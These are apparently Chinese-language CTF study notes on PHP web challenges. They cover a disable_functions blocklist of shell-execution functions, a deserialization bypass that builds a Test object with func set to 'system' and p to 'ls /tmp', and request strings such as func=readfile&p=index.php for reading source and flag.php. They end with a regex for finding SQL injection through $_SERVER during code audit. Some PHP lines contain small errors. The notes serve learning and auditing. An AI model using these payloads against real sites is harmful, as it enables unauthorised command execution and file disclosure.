1.isable_functions ,system函数等被禁用,可以使用反序列化加url编码绕过
    $disable_fun = array(“exec”,”shell_exec”,”system”,”passthru”,”proc_open”,”show_source”,”phpinfo”,”popen”,”dl”,”eval”,”proc_terminate”,”touch”,”escapeshellcmd”,”escapeshellarg”,”assert”,”substr_replace”,”call_user_func_array”,”call_user_func”,”array_filter”, “array_walk”, “array_map”,”registregister_shutdown_function”,”register_tick_function”,”filter_var”, “filter_var_array”, “uasort”, “uksort”, “array_reduce”,”array_walk”, “array_walk_recursive”,”pcntl_exec”,”fopen”,”fwrite”,”file_put_contents”);
    2. isset() 测试一个被设置成 NULL 的变量,将返回 FALSE
    !isset()检测是不上为空变量,返回FALSE
    3.date是一个函数,后面的p应该是它的参数
    猜测使用了call_user_func(函数名,参数)函数
    读取源码
    func=readfile&p=index.php
    func=file_get_contents&p=index.php

    4.php ->的理解
    如:

    1. class Test {
    2. var $p = "Y-m-d h:i:s a";
    3. var $func = "date";
    4. function __destruct() {
    5. if ($this->func != "") {
    6. echo gettime($this->func, $this->p);
    7. }

    本身已经创建的一个类,这时候如果在别的地方创建一个新的参数内容替换旧的$p或者¥func,这个参数又要在这个new一个新对象Test中
    可以这样:
    $a=new Test();
    $a->$p=”ls /tmp”;
    $a->$func=”system”;
    #print_r(urlencode(serialize($a)));

    从PHP7开始可以用('phpinfo')();这种方式来执行函数
    去反就是:~
    php可以 使用print_r(scandir(‘.’))来进行列目录
    读取flag.php
    使用readfile(‘flag.php’)

    简单给不懂正则的童鞋解释一下这条正则的意思是 有(SELECT|INSERT|UPDATE|DELETE)其中之一且后面出现了$_SERVER 如果能在sql语句拼接中出现不会被转义的$_SERVER内容的话,很有可能就是一个注入了 不得不说,审代码 运气也很重要,还真被我搜到一处
    (SELECT|INSERT|UPDATE|DELETE).*\$_SERVER